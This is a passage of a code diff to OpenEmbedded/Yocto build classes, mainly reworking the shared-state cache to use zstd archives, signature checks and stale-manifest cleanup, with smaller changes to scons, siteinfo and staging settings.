+ if val.find('@') != -1:
+ status.addresult("Error, you have an invalid character (@) in your %s directory path. Please move the installation to a directory which doesn't include any @ characters." % checkdir)
+ if val.find(' ') != -1:
+ status.addresult("Error, you have a space in your %s directory path. Please move the installation to a directory which doesn't include a space since autotools doesn't support this." % checkdir)
+ if val.find('%') != -1:
+ status.addresult("Error, you have an invalid character (%) in your %s directory path which causes problems with python string formatting. Please move the installation to a directory which doesn't include any % characters." % checkdir)
# Check the format of MIRRORS, PREMIRRORS and SSTATE_MIRRORS
import re
mirror_vars = ['MIRRORS', 'PREMIRRORS', 'SSTATE_MIRRORS']
protocols = ['http', 'ftp', 'file', 'https', \
'git', 'gitsm', 'hg', 'osc', 'p4', 'svn', \
- 'bzr', 'cvs', 'npm', 'sftp', 'ssh', 's3' ]
+ 'bzr', 'cvs', 'npm', 'sftp', 'ssh', 's3', 'az' ]
for mirror_var in mirror_vars:
mirrors = (d.getVar(mirror_var) or '').replace('\\n', ' ').split()
diff --git a/meta/classes/scons.bbclass b/meta/classes/scons.bbclass
index 4f3ae502ef..80f8382107 100644
--- a/meta/classes/scons.bbclass
+++ b/meta/classes/scons.bbclass
@@ -5,9 +5,9 @@ DEPENDS += "python3-scons-native"
EXTRA_OESCONS ?= ""
do_configure() {
- if [ -n "${CONFIGURESTAMPFILE}" ]; then
+ if [ -n "${CONFIGURESTAMPFILE}" -a "${S}" = "${B}" ]; then
if [ -e "${CONFIGURESTAMPFILE}" -a "`cat ${CONFIGURESTAMPFILE}`" != "${BB_TASKHASH}" -a "${CLEANBROKEN}" != "1" ]; then
- ${STAGING_BINDIR_NATIVE}/scons --clean PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS}
+ ${STAGING_BINDIR_NATIVE}/scons --directory=${S} --clean PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS}
fi
mkdir -p `dirname ${CONFIGURESTAMPFILE}`
@@ -16,12 +16,12 @@ do_configure() {
}
scons_do_compile() {
- ${STAGING_BINDIR_NATIVE}/scons ${PARALLEL_MAKE} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} || \
+ ${STAGING_BINDIR_NATIVE}/scons --directory=${S} ${PARALLEL_MAKE} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} || \
die "scons build execution failed."
}
scons_do_install() {
- ${STAGING_BINDIR_NATIVE}/scons install_root=${D}${prefix} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} install || \
+ ${STAGING_BINDIR_NATIVE}/scons --directory=${S} install_root=${D}${prefix} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} install || \
die "scons install execution failed."
}
diff --git a/meta/classes/sign_package_feed.bbclass b/meta/classes/sign_package_feed.bbclass
index 7ff3a35a2f..16bcd147aa 100644
--- a/meta/classes/sign_package_feed.bbclass
+++ b/meta/classes/sign_package_feed.bbclass
@@ -29,7 +29,7 @@ PACKAGE_FEED_GPG_BACKEND ?= 'local'
PACKAGE_FEED_GPG_SIGNATURE_TYPE ?= 'ASC'
# Make feed signing key to be present in rootfs
-FEATURE_PACKAGES_package-management_append = " signing-keys-packagefeed"
+FEATURE_PACKAGES_package-management:append = " signing-keys-packagefeed"
python () {
# Check sanity of configuration
diff --git a/meta/classes/siteinfo.bbclass b/meta/classes/siteinfo.bbclass
index 0bd1f36805..c5f4dfda41 100644
--- a/meta/classes/siteinfo.bbclass
+++ b/meta/classes/siteinfo.bbclass
@@ -176,17 +176,39 @@ python () {
bb.fatal("Please add your architecture to siteinfo.bbclass")
}
-def siteinfo_get_files(d, sysrootcache = False):
+# Layers with siteconfig need to add a replacement path to this variable so the
+# sstate isn't path specific
+SITEINFO_PATHVARS = "COREBASE"
+
+def siteinfo_get_files(d, sysrootcache=False):
sitedata = siteinfo_data(d)
- sitefiles = ""
+ sitefiles = []
+ searched = []
for path in d.getVar("BBPATH").split(":"):
for element in sitedata:
filename = os.path.join(path, "site", element)
if os.path.exists(filename):
- sitefiles += filename + " "
+ searched.append(filename + ":True")
+ sitefiles.append(filename)
+ else:
+ searched.append(filename + ":False")
+
+ # Have to parameterise out hardcoded paths such as COREBASE for the main site files
+ for var in d.getVar("SITEINFO_PATHVARS").split():
+ searched2 = []
+ replace = os.path.normpath(d.getVar(var))
+ for s in searched:
+ searched2.append(s.replace(replace, "${" + var + "}"))
+ searched = searched2
+
+ if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross', d) or bb.data.inherits_class('crosssdk', d):
+ # We need sstate sigs for native/cross not to vary upon arch so we can't depend on the site files.
+ # In future we may want to depend upon all site files?
+ # This would show up as breaking sstatetests.SStateTests.test_sstate_32_64_same_hash for example
+ searched = []
if not sysrootcache:
- return sitefiles
+ return sitefiles, searched
# Now check for siteconfig cache files in sysroots
path_siteconfig = d.getVar('SITECONFIG_SYSROOTCACHE')
@@ -195,8 +217,8 @@ def siteinfo_get_files(d, sysrootcache = False):
if not i.endswith("_config"):
continue
filename = os.path.join(path_siteconfig, i)
- sitefiles += filename + " "
- return sitefiles
+ sitefiles.append(filename)
+ return sitefiles, searched
#
# Make some information available via variables
diff --git a/meta/classes/sstate.bbclass b/meta/classes/sstate.bbclass
index d08d950e76..0326d27c74 100644
--- a/meta/classes/sstate.bbclass
+++ b/meta/classes/sstate.bbclass
@@ -1,4 +1,6 @@
-SSTATE_VERSION = "3"
+SSTATE_VERSION = "7"
+
+SSTATE_ZSTD_CLEVEL ??= "8"
SSTATE_MANIFESTS ?= "${TMPDIR}/sstate-control"
SSTATE_MANFILEPREFIX = "${SSTATE_MANIFESTS}/manifest-${SSTATE_MANMACH}-${PN}"
@@ -6,12 +8,12 @@ SSTATE_MANFILEPREFIX = "${SSTATE_MANIFESTS}/manifest-${SSTATE_MANMACH}-${PN}"
def generate_sstatefn(spec, hash, taskname, siginfo, d):
if taskname is None:
return ""
- extension = ".tgz"
+ extension = ".tar.zst"
# 8 chars reserved for siginfo
limit = 254 - 8
if siginfo:
limit = 254
- extension = ".tgz.siginfo"
+ extension = ".tar.zst.siginfo"
if not hash:
hash = "INVALID"
fn = spec + hash + "_" + taskname + extension
@@ -20,7 +22,7 @@ def generate_sstatefn(spec, hash, taskname, siginfo, d):
components = spec.split(":")
# Fields 0,5,6 are mandatory, 1 is most useful, 2,3,4 are just for information
# 7 is for the separators
- avail = (254 - len(hash + "_" + taskname + extension) - len(components[0]) - len(components[1]) - len(components[5]) - len(components[6]) - 7) // 3
+ avail = (limit - len(hash + "_" + taskname + extension) - len(components[0]) - len(components[1]) - len(components[5]) - len(components[6]) - 7) // 3
components[2] = components[2][:avail]
components[3] = components[3][:avail]
components[4] = components[4][:avail]
@@ -37,7 +39,7 @@ SSTATE_PKGNAME = "${SSTATE_EXTRAPATH}${@generate_sstatefn(d.getVar('SSTATE_PK
SSTATE_PKG = "${SSTATE_DIR}/${SSTATE_PKGNAME}"
SSTATE_EXTRAPATH = ""
SSTATE_EXTRAPATHWILDCARD = ""
-SSTATE_PATHSPEC = "${SSTATE_DIR}/${SSTATE_EXTRAPATHWILDCARD}*/*/${SSTATE_PKGSPEC}*_${SSTATE_PATH_CURRTASK}.tgz*"
+SSTATE_PATHSPEC = "${SSTATE_DIR}/${SSTATE_EXTRAPATHWILDCARD}*/*/${SSTATE_PKGSPEC}*_${SSTATE_PATH_CURRTASK}.tar.zst*"
# explicitly make PV to depend on evaluated value of PV variable
PV[vardepvalue] = "${PV}"
@@ -67,6 +69,13 @@ SSTATE_DUPWHITELIST += "${DEPLOY_DIR_IMAGE}/microcode"
SSTATE_SCAN_FILES ?= "*.la *-config *_config postinst-*"
SSTATE_SCAN_CMD ??= 'find ${SSTATE_BUILDDIR} \( -name "${@"\" -o -name \"".join(d.getVar("SSTATE_SCAN_FILES").split())}" \) -type f'
SSTATE_SCAN_CMD_NATIVE ??= 'grep -Irl -e ${RECIPE_SYSROOT} -e ${RECIPE_SYSROOT_NATIVE} -e ${HOSTTOOLS_DIR} ${SSTATE_BUILDDIR}'
+SSTATE_HASHEQUIV_FILEMAP ?= " \
+ populate_sysroot:*/postinst-useradd-*:${TMPDIR} \
+ populate_sysroot:*/postinst-useradd-*:${COREBASE} \
+ populate_sysroot:*/postinst-useradd-*:regex-\s(PATH|PSEUDO_IGNORE_PATHS|HOME|LOGNAME|OMP_NUM_THREADS|USER)=.*\s \
+ populate_sysroot:*/crossscripts/*:${TMPDIR} \
+ populate_sysroot:*/crossscripts/*:${COREBASE} \
+ "
BB_HASHFILENAME = "False ${SSTATE_PKGSPEC} ${SSTATE_SWSPEC}"
@@ -107,6 +116,9 @@ SSTATE_SIG_KEY ?= ""
SSTATE_SIG_PASSPHRASE ?= ""
# Whether to verify the GnUPG signatures when extracting sstate archives
SSTATE_VERIFY_SIG ?= "0"
+# List of signatures to consider valid.
+SSTATE_VALID_SIGS ??= ""
+SSTATE_VALID_SIGS[vardepvalue] = ""
SSTATE_HASHEQUIV_METHOD ?= "oe.sstatesig.OEOuthashBasic"
SSTATE_HASHEQUIV_METHOD[doc] = "The fully-qualified function used to calculate \
@@ -123,8 +135,6 @@ SSTATE_HASHEQUIV_REPORT_TASKDATA[doc] = "Report additional useful data to the \
python () {
if bb.data.inherits_class('native', d):
d.setVar('SSTATE_PKGARCH', d.getVar('BUILD_ARCH', False))
- if d.getVar("PN") == "pseudo-native":
- d.appendVar('SSTATE_PKGARCH', '_${ORIGNATIVELSBSTRING}')
elif bb.data.inherits_class('crosssdk', d):
d.setVar('SSTATE_PKGARCH', d.expand("${BUILD_ARCH}_${SDK_ARCH}_${SDK_OS}"))
elif bb.data.inherits_class('cross', d):
@@ -319,6 +329,8 @@ def sstate_install(ss, d):
if os.path.exists(i):
with open(i, "r") as f:
manifests = f.readlines()
+ # We append new entries, we don't remove older entries which may have the same
+ # manifest name but different versions from stamp/workdir. See below.
if filedata not in manifests:
with open(i, "a+") as f:
f.write(filedata)
@@ -363,7 +375,7 @@ def sstate_installpkg(ss, d):
bb.warn("No signature file for sstate package %s, skipping acceleration..." % sstatepkg)
return False
signer = get_signer(d, 'local')
- if not signer.verify(sstatepkg + '.sig'):
+ if not signer.verify(sstatepkg + '.sig', d.getVar("SSTATE_VALID_SIGS")):
bb.warn("Cannot verify signature on sstate package %s, skipping acceleration..." % sstatepkg)
return False
@@ -401,7 +413,7 @@ def sstate_installpkgdir(ss, d):
for state in ss['dirs']:
prepdir(state[1])
- os.rename(sstateinst + state[0], state[1])
+ bb.utils.rename(sstateinst + state[0], state[1])
sstate_install(ss, d)
for plain in ss['plaindirs']:
@@ -413,7 +425,7 @@ def sstate_installpkgdir(ss, d):
dest = plain
bb.utils.mkdirhier(src)
prepdir(dest)
- os.rename(src, dest)
+ bb.utils.rename(src, dest)
return True
@@ -481,7 +493,7 @@ def sstate_clean_cachefiles(d):
ss = sstate_state_fromvars(ld, task)
sstate_clean_cachefile(ss, ld)
-def sstate_clean_manifest(manifest, d, prefix=None):
+def sstate_clean_manifest(manifest, d, canrace=False, prefix=None):
import oe.path
mfile = open(manifest)
@@ -499,7 +511,9 @@ def sstate_clean_manifest(manifest, d, prefix=None):
if entry.endswith("/"):
if os.path.islink(entry[:-1]):
os.remove(entry[:-1])
- elif os.path.exists(entry) and len(os.listdir(entry)) == 0:
+ elif os.path.exists(entry) and len(os.listdir(entry)) == 0 and not canrace:
+ # Removing directories whilst builds are in progress exposes a race. Only
+ # do it in contexts where it is safe to do so.
os.rmdir(entry[:-1])
else:
os.remove(entry)
@@ -537,7 +551,7 @@ def sstate_clean(ss, d):
for lock in ss['lockfiles']:
locks.append(bb.utils.lockfile(lock))
- sstate_clean_manifest(manifest, d)
+ sstate_clean_manifest(manifest, d, canrace=True)
for lock in locks:
bb.utils.unlockfile(lock)
@@ -638,10 +652,21 @@ python sstate_hardcode_path () {
def sstate_package(ss, d):
import oe.path
+ import time
tmpdir = d.getVar('TMPDIR')
+ fixtime = False
+ if ss['task'] == "package":
+ fixtime = True
+
+ def fixtimestamp(root, path):
+ f = os.path.join(root, path)
+ if os.lstat(f).st_mtime > sde:
+ os.utime(f, (sde, sde), follow_symlinks=False)
+
sstatebuild = d.expand("${WORKDIR}/sstate-build-%s/" % ss['task'])
+ sde = int(d.getVar("SOURCE_DATE_EPOCH") or time.time())
d.setVar("SSTATE_CURRTASK", ss['task'])
bb.utils.remove(sstatebuild, recurse=True)
bb.utils.mkdirhier(sstatebuild)
@@ -654,6 +679,8 @@ def sstate_package(ss, d):
# to sstate tasks but there aren't many of these so better just avoid them entirely.
for walkroot, dirs, files in os.walk(state[1]):
for file in files + dirs:
+ if fixtime:
+ fixtimestamp(walkroot, file)
srcpath = os.path.join(walkroot, file)
if not os.path.islink(srcpath):
continue
@@ -664,7 +691,7 @@ def sstate_package(ss, d):
continue
bb.error("sstate found an absolute path symlink %s pointing at %s. Please replace this with a relative link." % (srcpath, link))
bb.debug(2, "Preparing tree %s for packaging at %s" % (state[1], sstatebuild + state[0]))
- os.rename(state[1], sstatebuild + state[0])
+ bb.utils.rename(state[1], sstatebuild + state[0])
workdir = d.getVar('WORKDIR')
sharedworkdir = os.path.join(d.getVar('TMPDIR'), "work-shared")
@@ -674,7 +701,12 @@ def sstate_package(ss, d):
pdir = plain.replace(sharedworkdir, sstatebuild)
bb.utils.mkdirhier(plain)
bb.utils.mkdirhier(pdir)
- os.rename(plain, pdir)
+ bb.utils.rename(plain, pdir)
+ if fixtime:
+ fixtimestamp(pdir, "")
+ for walkroot, dirs, files in os.walk(pdir):
+ for file in files + dirs:
+ fixtimestamp(walkroot, file)
d.setVar('SSTATE_BUILDDIR', sstatebuild)
d.setVar('SSTATE_INSTDIR', sstatebuild)
@@ -701,9 +733,16 @@ def sstate_package(ss, d):
os.utime(siginfo, None)
except PermissionError:
pass
+ except OSError as e:
+ # Handle read-only file systems gracefully
+ import errno
+ if e.errno != errno.EROFS:
+ raise e
return
+sstate_package[vardepsexclude] += "SSTATE_SIG_KEY"
+
def pstaging_fetch(sstatefetch, d):
import bb.fetch2
@@ -722,6 +761,7 @@ def pstaging_fetch(sstatefetch, d):
localdata.setVar('FILESPATH', dldir)
localdata.setVar('DL_DIR', dldir)
localdata.setVar('PREMIRRORS', mirrors)
+ localdata.setVar('SRCPV', d.getVar('SRCPV'))
# if BB_NO_NETWORK is set but we also have SSTATE_MIRROR_ALLOW_NETWORK,
# we'll want to allow network access for the current set of fetches.
@@ -746,6 +786,9 @@ def pstaging_fetch(sstatefetch, d):
except bb.fetch2.BBFetchException:
pass
+pstaging_fetch[vardepsexclude] += "SRCPV"
+
+
def sstate_setscene(d):
shared_state = sstate_state_fromvars(d)
accelerate = sstate_installpkg(shared_state, d)
@@ -787,30 +830,31 @@ sstate_task_postfunc[dirs] = "${WORKDIR}"
sstate_create_package () {
# Exit early if it already exists
if [ -e ${SSTATE_PKG} ]; then
- [ ! -w ${SSTATE_PKG} ] || touch ${SSTATE_PKG}
+ touch ${SSTATE_PKG} 2>/dev/null || true
return
fi
mkdir --mode=0775 -p `dirname ${SSTATE_PKG}`
TFILE=`mktemp ${SSTATE_PKG}.XXXXXXXX`
- # Use pigz if available
- OPT="-czS"
- if [ -x "$(command -v pigz)" ]; then
- OPT="-I pigz -cS"
+ OPT="-cS"
+ ZSTD="zstd -${SSTATE_ZSTD_CLEVEL} -T${ZSTD_THREADS}"
+ # Use pzstd if available
+ if [ -x "$(command -v pzstd)" ]; then
+ ZSTD="pzstd -${SSTATE_ZSTD_CLEVEL} -p ${ZSTD_THREADS}"
fi
# Need to handle empty directories
if [ "$(ls -A)" ]; then
set +e
- tar $OPT -f $TFILE *
+ tar -I "$ZSTD" $OPT -f $TFILE *
ret=$?
if [ $ret -ne 0 ] && [ $ret -ne 1 ]; then
exit 1
fi
set -e
else
- tar $OPT --file=$TFILE --files-from=/dev/null
+ tar -I "$ZSTD" $OPT --file=$TFILE --files-from=/dev/null
fi
chmod 0664 $TFILE
# Skip if it was already created by some other process
@@ -821,7 +865,7 @@ sstate_create_package () {
else
rm $TFILE
fi
- [ ! -w ${SSTATE_PKG} ] || touch ${SSTATE_PKG}
+ touch ${SSTATE_PKG} 2>/dev/null || true
}
python sstate_sign_package () {
@@ -849,13 +893,19 @@ python sstate_report_unihash() {
# Will be run from within SSTATE_INSTDIR.
#
sstate_unpack_package () {
- tar -xvzf ${SSTATE_PKG}
- # update .siginfo atime on local/NFS mirror
- [ -O ${SSTATE_PKG}.siginfo ] && [ -w ${SSTATE_PKG}.siginfo ] && [ -h ${SSTATE_PKG}.siginfo ] && touch -a ${SSTATE_PKG}.siginfo
- # Use "! -w ||" to return true for read only files
- [ ! -w ${SSTATE_PKG} ] || touch --no-dereference ${SSTATE_PKG}
- [ ! -w ${SSTATE_PKG}.sig ] || [ ! -e ${SSTATE_PKG}.sig ] || touch --no-dereference ${SSTATE_PKG}.sig
- [ ! -w ${SSTATE_PKG}.siginfo ] || [ ! -e ${SSTATE_PKG}.siginfo ] || touch --no-dereference ${SSTATE_PKG}.siginfo
+ ZSTD="zstd -T${ZSTD_THREADS}"
+ # Use pzstd if available
+ if [ -x "$(command -v pzstd)" ]; then
+ ZSTD="pzstd -p ${ZSTD_THREADS}"
+ fi
+
+ tar -I "$ZSTD" -xvf ${SSTATE_PKG}
+ # update .siginfo atime on local/NFS mirror if it is a symbolic link
+ [ ! -h ${SSTATE_PKG}.siginfo ] || touch -a ${SSTATE_PKG}.siginfo 2>/dev/null || true
+ # update each symbolic link instead of any referenced file
+ touch --no-dereference ${SSTATE_PKG} 2>/dev/null || true
+ [ ! -e ${SSTATE_PKG}.sig ] || touch --no-dereference ${SSTATE_PKG}.sig 2>/dev/null || true
+ [ ! -e ${SSTATE_PKG}.siginfo ] || touch --no-dereference ${SSTATE_PKG}.siginfo 2>/dev/null || true
}
BB_HASHCHECK_FUNCTION = "sstate_checkhashes"
@@ -884,21 +934,22 @@ def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True,
return spec, extrapath, tname
+ def getsstatefile(tid, siginfo, d):
+ spec, extrapath, tname = getpathcomponents(tid, d)
+ return extrapath + generate_sstatefn(spec, gethash(tid), tname, siginfo, d)
for tid in sq_data['hash']:
- spec, extrapath, tname = getpathcomponents(tid, d)
-
- sstatefile = d.expand("${SSTATE_DIR}/" + extrapath + generate_sstatefn(spec, gethash(tid), tname, siginfo, d))
+ sstatefile = d.expand("${SSTATE_DIR}/" + getsstatefile(tid, siginfo, d))
if os.path.exists(sstatefile):
- bb.debug(2, "SState: Found valid sstate file %s" % sstatefile)
found.add(tid)
- continue
+ bb.debug(2, "SState: Found valid sstate file %s" % sstatefile)
else:
missed.add(tid)
bb.debug(2, "SState: Looked for but didn't find file %s" % sstatefile)
+ foundLocal = len(found)
mirrors = d.getVar("SSTATE_MIRRORS")
if mirrors:
# Copy the data object and override DL_DIR and SRC_URI
@@ -939,54 +990,49 @@ def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True,
fetcher.checkstatus()
bb.debug(2, "SState: Successful fetch test for %s" % srcuri)
found.add(tid)
- if tid in missed:
- missed.remove(tid)
- except:
- missed.add(tid)
- bb.debug(2, "SState: Unsuccessful fetch test for %s" % srcuri)
- pass
- if len(tasklist) >= min_tasks:
+ missed.remove(tid)
+ except bb.fetch2.FetchError as e:
+ bb.debug(2, "SState: Unsuccessful fetch test for %s (%s)" % (srcuri, e))
+ except Exception as e:
+ bb.error("SState: cannot test %s: %s" % (srcuri, e))
+
+ if progress:
bb.event.fire(bb.event.ProcessProgress(msg, len(tasklist) - thread_worker.tasks.qsize()), d)
tasklist = []
- min_tasks = 100
- for tid in sq_data['hash']:
- if tid in found:
- continue
- spec, extrapath, tname = getpathcomponents(tid, d)
- sstatefile = d.expand(extrapath + generate_sstatefn(spec, gethash(tid), tname, siginfo, d))
+ for tid in missed:
+ sstatefile = d.expand(getsstatefile(tid, siginfo, d))
tasklist.append((tid, sstatefile))
if tasklist:
- if len(tasklist) >= min_tasks:
+ nproc = min(int(d.getVar("BB_NUMBER_THREADS")), len(tasklist))
+
+ progress = len(tasklist) >= 100
+ if progress:
msg = "Checking sstate mirror object availability"
bb.event.fire(bb.event.ProcessStarted(msg, len(tasklist)), d)
- import multiprocessing
- nproc = min(multiprocessing.cpu_count(), len(tasklist))
-
bb.event.enable_threadlock()
pool = oe.utils.ThreadedPool(nproc, len(tasklist),
- worker_init=checkstatus_init, worker_end=checkstatus_end)
+ worker_init=checkstatus_init, worker_end=checkstatus_end,
+ name="sstate_checkhashes-")
for t in tasklist:
pool.add_task(checkstatus, t)
pool.start()
pool.wait_completion()
bb.event.disable_threadlock()
- if len(tasklist) >= min_tasks:
+ if progress:
bb.event.fire(bb.event.ProcessFinished(msg), d)
inheritlist = d.getVar("INHERIT")
if "toaster" in inheritlist:
evdata = {'missed': [], 'found': []};
for tid in missed:
- spec, extrapath, tname = getpathcomponents(tid, d)
- sstatefile = d.expand(extrapath + generate_sstatefn(spec, gethash(tid), tname, False, d))
+ sstatefile = d.expand(getsstatefile(tid, False, d))
evdata['missed'].append((bb.runqueue.fn_from_tid(tid), bb.runqueue.taskname_from_tid(tid), gethash(tid), sstatefile ) )
for tid in found:
- spec, extrapath, tname = getpathcomponents(tid, d)
- sstatefile = d.expand(extrapath + generate_sstatefn(spec, gethash(tid), tname, False, d))
+ sstatefile = d.expand(getsstatefile(tid, False, d))
evdata['found'].append((bb.runqueue.fn_from_tid(tid), bb.runqueue.taskname_from_tid(tid), gethash(tid), sstatefile ) )
bb.event.fire(bb.event.MetadataEvent("MissedSstate", evdata), d)
@@ -1000,12 +1046,14 @@ def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True,
match = 0
if total:
match = len(found) / total * 100
- bb.plain("Sstate summary: Wanted %d Found %d Missed %d Current %d (%d%% match, %d%% complete)" % (total, len(found), len(missed), currentcount, match, complete))
+ bb.plain("Sstate summary: Wanted %d Local %d Mirrors %d Missed %d Current %d (%d%% match, %d%% complete)" %
+ (total, foundLocal, len(found)-foundLocal, len(missed), currentcount, match, complete))
if hasattr(bb.parse.siggen, "checkhashes"):
bb.parse.siggen.checkhashes(sq_data, missed, found, d)
return found
+setscene_depvalid[vardepsexclude] = "SSTATE_EXCLUDEDEPS_SYSROOT"
BB_SETSCENE_DEPVALID = "setscene_depvalid"
@@ -1024,15 +1072,13 @@ def setscene_depvalid(task, taskdependees, notneeded, d, log=None):
logit("Considering setscene task: %s" % (str(taskdependees[task])), log)
+ directtasks = ["do_populate_lic", "do_deploy_source_date_epoch", "do_shared_workdir", "do_stash_locale", "do_gcc_stash_builddir"]
+
def isNativeCross(x):
return x.endswith("-native") or "-cross-" in x or "-crosssdk" in x or x.endswith("-cross")
- # We only need to trigger populate_lic through direct dependencies
- if taskdependees[task][1] == "do_populate_lic":
- return True
-
- # stash_locale and gcc_stash_builddir are never needed as a dependency for built objects
- if taskdependees[task][1] == "do_stash_locale" or taskdependees[task][1] == "do_gcc_stash_builddir":
+ # We only need to trigger deploy_source_date_epoch through direct dependencies
+ if taskdependees[task][1] in directtasks:
return True
# We only need to trigger packagedata through direct dependencies
@@ -1055,8 +1101,8 @@ def setscene_depvalid(task, taskdependees, notneeded, d, log=None):
# do_package_write_* need do_populate_sysroot as they're mainly postinstall dependencies
if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm']:
return False
- # do_package/packagedata/package_qa don't need do_populate_sysroot
- if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package', 'do_packagedata', 'do_package_qa']:
+ # do_package/packagedata/package_qa/deploy don't need do_populate_sysroot
+ if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package', 'do_packagedata', 'do_package_qa', 'do_deploy']:
continue
# Native/Cross packages don't exist and are noexec anyway
if isNativeCross(taskdependees[dep][0]) and taskdependees[dep][1] in ['do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm', 'do_packagedata', 'do_package', 'do_package_qa']:
@@ -1104,13 +1150,9 @@ def setscene_depvalid(task, taskdependees, notneeded, d, log=None):
# Target populate_sysroot need their dependencies
return False
- if taskdependees[task][1] == 'do_shared_workdir':
+ if taskdependees[dep][1] in directtasks:
continue
- if taskdependees[dep][1] == "do_populate_lic":
- continue
-
-
# Safe fallthrough default
logit(" Default setscene dependency fall through due to dependency: %s" % (str(taskdependees[dep])), log)
return False
@@ -1137,19 +1179,28 @@ python sstate_eventhandler() {
os.utime(siginfo, None)
except PermissionError:
pass
+ except OSError as e:
+ # Handle read-only file systems gracefully
+ import errno
+ if e.errno != errno.EROFS:
+ raise e
}
SSTATE_PRUNE_OBSOLETEWORKDIR ?= "1"
-# Event handler which removes manifests and stamps file for
-# recipes which are no longer reachable in a build where they
-# once were.
+#
+# Event handler which removes manifests and stamps file for recipes which are no
+# longer 'reachable' in a build where they once were. 'Reachable' refers to
+# whether a recipe is parsed so recipes in a layer which was removed would no
+# longer be reachable. Switching between systemd and sysvinit where recipes
+# became skipped would be another example.
+#
# Also optionally removes the workdir of those tasks/recipes
#
-addhandler sstate_eventhandler2
-sstate_eventhandler2[eventmask] = "bb.event.ReachableStamps"
-python sstate_eventhandler2() {
+addhandler sstate_eventhandler_reachablestamps
+sstate_eventhandler_reachablestamps[eventmask] = "bb.event.ReachableStamps"
+python sstate_eventhandler_reachablestamps() {
import glob
d = e.data
stamps = e.stamps.values()
@@ -1175,11 +1226,21 @@ python sstate_eventhandler2() {
i = d.expand("${SSTATE_MANIFESTS}/index-" + a)
if not os.path.exists(i):
continue
+ manseen = set()
+ ignore = []
with open(i, "r") as f:
lines = f.readlines()
- for l in lines:
+ for l in reversed(lines):
try:
(stamp, manifest, workdir) = l.split()
+ # The index may have multiple entries for the same manifest as the code above only appends
+ # new entries and there may be an entry with matching manifest but differing version in stamp/workdir.
+ # The last entry in the list is the valid one, any earlier entries with matching manifests
+ # should be ignored.
+ if manifest in manseen:
+ ignore.append(l)
+ continue
+ manseen.add(manifest)
if stamp not in stamps and stamp not in preservestamps and stamp in machineindex:
toremove.append(l)
if stamp not in seen:
@@ -1210,6 +1271,8 @@ python sstate_eventhandler2() {
with open(i, "w") as f:
for l in lines:
+ if l in ignore:
+ continue
f.write(l)
machineindex |= set(stamps)
with open(mi, "w") as f:
@@ -1219,3 +1282,59 @@ python sstate_eventhandler2() {
if preservestamps:
os.remove(preservestampfile)
}
+
+
+#
+# Bitbake can generate an event showing which setscene tasks are 'stale',
+# i.e. which ones will be rerun. These are ones where a stamp file is present but
+# it is stable (e.g. taskhash doesn't match). With that list we can go through
+# the manifests for matching tasks and "uninstall" those manifests now. We do
+# this now rather than mid build since the distribution of files between sstate
+# objects may have changed, new tasks may run first and if those new tasks overlap
+# with the stale tasks, we'd see overlapping files messages and failures. Thankfully
+# removing these files is fast.
+#
+addhandler sstate_eventhandler_stalesstate
+sstate_eventhandler_stalesstate[eventmask] = "bb.event.StaleSetSceneTasks"
+python sstate_eventhandler_stalesstate() {
+ d = e.data
+ tasks = e.tasks
+
+ bb.utils.mkdirhier(d.expand("${SSTATE_MANIFESTS}"))
+
+ for a in list(set(d.getVar("SSTATE_ARCHS").split())):
+ toremove = []
+ i = d.expand("${SSTATE_MANIFESTS}/index-" + a)
+ if not os.path.exists(i):
+ continue
+ with open(i, "r") as f:
+ lines = f.readlines()
+ for l in lines:
+ try:
+ (stamp, manifest, workdir) = l.split()
+ for tid in tasks:
+ for s in tasks[tid]:
+ if s.startswith(stamp):
+ taskname = bb.runqueue.taskname_from_tid(tid)[3:]
+ manname = manifest + "." + taskname
+ if os.path.exists(manname):
+ bb.debug(2, "Sstate for %s is stale, removing related manifest %s" % (tid, manname))
+ toremove.append((manname, tid, tasks[tid]))
+ break
+ except ValueError:
+ bb.fatal("Invalid line '%s' in sstate manifest '%s'" % (l, i))
+
+ if toremove:
+ msg = "Removing %d stale sstate objects for arch %s" % (len(toremove), a)
+ bb.event.fire(bb.event.ProcessStarted(msg, len(toremove)), d)
+
+ removed = 0
+ for (manname, tid, stamps) in toremove:
+ sstate_clean_manifest(manname, d)
+ for stamp in stamps:
+ bb.utils.remove(stamp)
+ removed = removed + 1
+ bb.event.fire(bb.event.ProcessProgress(msg, removed), d)
+
+ bb.event.fire(bb.event.ProcessFinished(msg), d)
+}
diff --git a/meta/classes/staging.bbclass b/meta/classes/staging.bbclass
index f0a619b35b..25f77c7735 100644
--- a/meta/classes/staging.bbclass
+++ b/meta/classes/staging.bbclass
@@ -5,6 +5,7 @@ SYSROOT_DIRS = " \
${base_libdir} \
${nonarch_base_libdir} \
${datadir} \
+ /sysroot-only \
"
# These directories are also staged in the sysroot when they contain files that
@@ -18,20 +19,24 @@ SYSROOT_DIRS_NATIVE = " \
${sysconfdir} \
${localstatedir} \
"
-SYSROOT_DIRS_append_class-native = " ${SYSROOT_DIRS_NATIVE}"
-SYSROOT_DIRS_append_class-cross = " ${SYSROOT_DIRS_NATIVE}"
-SYSROOT_DIRS_append_class-crosssdk = " ${SYSROOT_DIRS_NATIVE}"
+SYSROOT_DIRS:append:class-native = " ${SYSROOT_DIRS_NATIVE}"
+SYSROOT_DIRS:append:class-cross = " ${SYSROOT_DIRS_NATIVE}"
+SYSROOT_DIRS:append:class-crosssdk = " ${SYSROOT_DIRS_NATIVE}"
# These directories will not be staged in the sysroot
SYSROOT_DIRS_BLACKLIST = " \
${mandir} \
${docdir} \
${infodir} \
+ ${datadir}/X11/locale \
${datadir}/applications \
+ ${datadir}/bash-completion \
${datadir}/fonts \
${datadir}/gtk-doc/html \
+ ${datadir}/installed-tests \
${datadir}/locale \
${datadir}/pixmaps \
+ ${datadir}/terminfo \
